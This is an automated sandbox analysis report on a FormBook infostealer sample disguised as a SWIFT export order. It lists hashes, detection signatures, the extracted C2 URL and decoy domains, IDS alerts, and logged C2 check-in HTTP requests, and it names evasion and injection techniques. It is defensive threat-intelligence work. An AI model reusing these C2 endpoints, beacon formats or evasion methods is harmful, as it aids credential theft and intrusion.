Windows Analysis Report TT_SWIFT_Export Order_noref S10SMG00318021.exe

Overview

General Information

Sample Name: TT_SWIFT_Export Order_noref S10SMG00318021.exe
Analysis ID: 528704
MD5: fff91c58119d3cd7f68457e8565f7116
SHA1: 4201eb7214bd3658889739e4856412b8063e0405
SHA256: f8c0d385ece89cd926b2c74680c036f9927414955e7ff4ed12b576470b8c1745
Tags: exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Initial sample is a PE file and has a suspicious name
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Sigma detected: Suspicius Add Task From User AppData Temp
.NET source code contains potential unpacker
Sigma detected: Powershell Defender Exclusion
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Adds a directory exclusion to Windows Defender
Uses schtasks.exe or at.exe to add and modify task schedules
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.liberia-infos.net/46uq/"], "decoy": ["beardeddentguy.com", "envirobombs.com", "mintbox.pro", "xiangpusun.com", "pyjama-france.com", "mendocinocountylive.com", "innovativepropsolutions.com", "hpsaddlerock.com", "qrmaindonesia.com", "liphelp.com", "archaeaenergy.info", "18446744073709551615.com", "littlecreekacresri.com", "elderlycareacademy.com", "drshivanieyecare.com", "ashibumi.com", "stevenalexandergolf.com", "adoratv.net", "visitnewrichmond.com", "fxbvanpool.com", "aarondecker.online", "environmentalkivul.com", "cardsncrepes.com", "hopdongdientu-viettel.com", "thebroughtguarantee.com", "howtofindahotniche.com", "1678600.win", "pityana.com", "akconsultoria.com", "markazkreasindo.com", "ronniecapitol.com", "tailsontour.com", "abros88.com", "laboratoriodentaltj.com", "fuckingmom86.xyz", "5pz59.com", "centralmadu.com", "ispecwar.com", "otetransportanddispatching.com", "cartaovirtual.net", "hsadmin.xyz", "xn--12c2bed4dxay5cxdh1s.online", "oki-net.com", "scenekidfancams.com", "preciousmugs.com", "754711.com", "helpigservices.com", "blueharepress.com", "xmshzs.com", "lovelycharlestonhomes.com", "wamhsh.com", "burlesquercize.com", "oppoexch.com", "ditjai.tech", "the-hausd-group.com", "loosebland.website", "syntheticloot.net", "gzfusco.com", "www-by.com", "farraztravel.com", "beheld3d.art", "douyababy.space", "elcuerpohumano.xyz", "3soap.com"]}
Multi AV Scanner detection for submitted file
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe ReversingLabs: Detection: 35%
Yara detected FormBook
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://www.hpsaddlerock.com/46uq/?3fQ0Khi=bs9J1aeGn7//rC5/XQ3RZfL5fo+K3BeziJUGIjAdanx1gP9H8FkBLk3VYXo90D5B+GRs&j0=SFN8Rxuh3 Avira URL Cloud: Label: malware
Source: www.liberia-infos.net/46uq/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\AnsPejV.exe ReversingLabs: Detection: 35%
Antivirus or Machine Learning detection for unpacked file
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wntdll.pdbUGP source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000003.262649422.0000000001200000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353122475.00000000013A0000.00000040.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353352126.00000000014BF000.00000040.00000001.sdmp, help.exe, 00000014.00000002.506159305.000000000305F000.00000040.00000001.sdmp, help.exe, 00000014.00000002.505506351.0000000002F40000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000003.262649422.0000000001200000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353122475.00000000013A0000.00000040.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353352126.00000000014BF000.00000040.00000001.sdmp, help.exe, help.exe, 00000014.00000002.506159305.000000000305F000.00000040.00000001.sdmp, help.exe, 00000014.00000002.505506351.0000000002F40000.00000040.00000001.sdmp
Source: Binary string: help.pdbGCTL source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353029451.0000000000F70000.00000040.00020000.sdmp
Source: Binary string: help.pdb source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353029451.0000000000F70000.00000040.00020000.sdmp

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 4x nop then pop esi 8_2_0041584A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 4x nop then pop ebx 8_2_00406ABB
Source: C:\Windows\SysWOW64\help.exe Code function: 4x nop then pop esi 20_2_006C584A
Source: C:\Windows\SysWOW64\help.exe Code function: 4x nop then pop ebx 20_2_006B6ABB

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49823 -> 154.196.11.204:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49823 -> 154.196.11.204:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49823 -> 154.196.11.204:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.innovativepropsolutions.com
Source: C:\Windows\explorer.exe Network Connect: 23.227.38.74 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.aarondecker.online
Source: C:\Windows\explorer.exe Domain query: www.754711.com
Source: C:\Windows\explorer.exe Domain query: www.pyjama-france.com
Source: C:\Windows\explorer.exe Domain query: www.wamhsh.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.hpsaddlerock.com
Source: C:\Windows\explorer.exe Domain query: www.blueharepress.com
Source: C:\Windows\explorer.exe Network Connect: 156.226.250.165 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 209.17.116.163 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.liberia-infos.net/46uq/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: XIAOZHIYUN1-AS-APICIDCNETWORKUS XIAOZHIYUN1-AS-APICIDCNETWORKUS
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /46uq/?3fQ0Khi=Ue3PnYf+WtitO9Jkut75Ma3k2TKhCZznjjMu1kid5hA29ktIECD3KZ7svhzldzsG+GSp&j0=SFN8Rxuh3 HTTP/1.1Host: www.wamhsh.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=KgIlRYVH25tNYqbEG8kO4R44bHZw5lHi55V8k/E4GGeqoND16iqE+SGGf+ZfndkYvzRB HTTP/1.1Host: www.pyjama-france.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /46uq/?3fQ0Khi=bs9J1aeGn7//rC5/XQ3RZfL5fo+K3BeziJUGIjAdanx1gP9H8FkBLk3VYXo90D5B+GRs&j0=SFN8Rxuh3 HTTP/1.1Host: www.hpsaddlerock.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=IBlQMs5j29CKqlv3/eZQ6Z47udTwmev2IX+bwOiN2E8lumQwhRgtDV6FzU7U1t+cHC/Y HTTP/1.1Host: www.aarondecker.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 23.227.38.74 23.227.38.74
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 25 Nov 2021 16:31:46 GMTServer: ApacheContent-Length: 260Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 77 61 6d 68 73 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.wamhsh.com Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 25 Nov 2021 16:31:51 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Sorting-Hat-PodId: 183X-Sorting-Hat-ShopId: 51998097592X-Request-ID: dbaee5ab-3952-40fa-97f1-8e4299a03f3aX-Download-Options: noopenX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=blockX-Dc: gcp-europe-west1CF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 6b3c4509ccd05b7a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css">
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 25 Nov 2021 16:31:56 GMTContent-Type: text/htmlContent-Length: 275ETag: "618be761-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263450761.0000000002C71000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://help.gandi.net/en
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://news.gandi.net/en
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://shop.gandi.net/en
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://shop.gandi.net/en/domain/suggest?search=elderlycareacademy.com&amp;source=parking
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://shop.gandi.net/en/domain/transfer
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://whois.gandi.net/en/results?search=elderlycareacademy.com
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://www.gandi.net/en
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://www.gandi.net/en/cloud
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://www.gandi.net/en/domain
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://www.gandi.net/en/security
Source: help.exe, 00000014.00000002.507665778.00000000035F2000.00000004.00020000.sdmp String found in binary or memory: https://www.gandi.net/en/simple-hosting
Source: unknown DNS traffic detected: queries for: www.innovativepropsolutions.com
Source: global traffic HTTP traffic detected: GET /46uq/?3fQ0Khi=Ue3PnYf+WtitO9Jkut75Ma3k2TKhCZznjjMu1kid5hA29ktIECD3KZ7svhzldzsG+GSp&j0=SFN8Rxuh3 HTTP/1.1Host: www.wamhsh.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=KgIlRYVH25tNYqbEG8kO4R44bHZw5lHi55V8k/E4GGeqoND16iqE+SGGf+ZfndkYvzRB HTTP/1.1Host: www.pyjama-france.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /46uq/?3fQ0Khi=bs9J1aeGn7//rC5/XQ3RZfL5fo+K3BeziJUGIjAdanx1gP9H8FkBLk3VYXo90D5B+GRs&j0=SFN8Rxuh3 HTTP/1.1Host: www.hpsaddlerock.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=IBlQMs5j29CKqlv3/eZQ6Z47udTwmev2IX+bwOiN2E8lumQwhRgtDV6FzU7U1t+cHC/Y HTTP/1.1Host: www.aarondecker.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
